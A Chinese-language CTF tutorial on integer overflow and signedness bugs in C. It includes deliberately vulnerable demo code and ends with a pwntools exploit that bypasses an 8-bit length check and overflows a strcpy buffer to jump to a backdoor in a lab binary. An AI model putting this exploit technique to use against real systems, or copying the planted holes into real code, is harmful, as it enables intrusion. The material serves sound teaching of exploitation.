整数溢出(stack)

整数溢出的介绍

首先回顾一下C语言中的整形的数据分类。

按数据类型分类主要分三类:短整形(short)、整形(int)、长整形(long)

按符号分类:有符号,无符号

并且每种数据类型都有自己的大小范围:

类型 字节 范围
short int 2byte(word) 032767(00x7fff)
-32768-1(0x80000xffff)
unsigned short int 2byte(word) 065535(00xffff)
int 4byte(dword) 02147483647(00x7fffffff)
-2147483648-1(0x800000000xffffffff)
unsigned int 4byte(dword) 04294967295(00xffffffff)
long int 8byte(qword) 正:00x7fffffffffffffff
负:0x8000000000000000
0xffffffffffffffff
unsigned long int 8byte(qword) 0~0xffffffffffffffff

正是因为数据类型的大小范围才导致了整数溢出。

溢出类漏洞

计算机中有 4 种溢出情况,以 32 位整数为例。

① 无符号上溢:无符号数 0xffffffff 加 1 会变成 0。

② 无符号下溢:无符号数 0 减去 1 会变成 0xffffffff,即-1。

③ 有符号上溢:有符号正数 0x7fffffff 加 1 变成 0x80000000, 即从 2147483647 变成了-2147483648。

④ 有符号下溢:有符号负数 0x80000000 减去 1 变成 0x7fffffff,即从-2147483648 变成了 2147483647。

一个经典的整数溢出例子就是 c 语言的 abs 函数,int abs(int x),该函数返回 x 的绝对值。但当 abs()函数的参数是 0x80000000 即-2147483648 的时候,它本来应该返回2147483648,但正整数的范围是 0-2147483647,所以他返回的仍然是个负数,即本身-2147483648。

举个例子

源码:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main(){
unsigned short int a = 1;
unsigned short int b = 65537;
if(a == b){
printf("Int overflow successfully!\n");
}
return 0;
}

观察源码,只有当a和b相等时,才输出信息

image-20230724203856484

可以看出,程序中a和b是相等的,这就是b发生了溢出,原本数据长度最大为65535,所以溢出后为1。

符号转换类漏洞

符号转换类漏洞通常出在把范围大的变量赋值给范围小的变量,64 位下 long -> int,会造成截断,只把长整型的低 4byte 的值传给整型变量,比如把 long 类型的0x100000010 赋值给 int 类型的变量就会变成 0x10。

符号转换类漏洞也会出现在把signed变量赋值给unsigned变量,如下表2-6代码。如下就是 符号转换类漏洞 demo 代码。
源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include<stdio.h>
void main()
{
char buf[32];
int len;
puts("give your len:");
scanf("%d",&len);
if(len>32)
len=32;
puts("give your data:");
read(0,buf,len);
return;
}

len 变量是 signed int 类型该代码没有对 len 进行完善的约束,导致 len 可以是负数。比如我们输入-1,此时传入 read 参数的 size 就会是-1,read 的第三个参数 size 是size_t 类型,也就是 unsigned int 类型,它会将-1 解析成 0xffffffff,这就间接导致了栈溢出。
image-20230724204705911

可以看到我们编译时gcc也会提醒我们。

整数溢出的例子

先检查程序保护机制

image-20230724205212074

开启了NX(栈上不可执行)。ida静态分析一下

image-20230724205340709

先输入1, 进入登陆函数

image-20230724205412661

两处溢出(read),先进入到check_passwd函数查看一下

image-20230724205800221

传入的参数s为输入的passwd地址,v3是unsigned_int8类型接收passwd的长度的

strcpy函数,参数dest和s大小不同,存在栈溢出漏洞

unsigned_int8表示8bit无符号整数,这里可能存在整数溢出漏洞。

由于max_passwd为0x199,这个数据过大,因此可以存在漏洞利用。

利用整数溢出,可以将v3的长度(48)转变为260264(还是截断)照样可以通过验证。

同时程序存在后门函数:

image-20230724210348970

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import*

sh = process('./pwn')

back_door = 0x0804868B

sh.sendlineafter("choice:","1") #进入login函数

sh.sendlineafter("username:\n","aaaa") #username

payload = 0x14*'a'+"AAAA"+p32(back_door)+234*'a'

sh.sendlineafter("passwd:\n",payload)
#gdb.attach(sh)

sh.interactive()

image-20230724222608052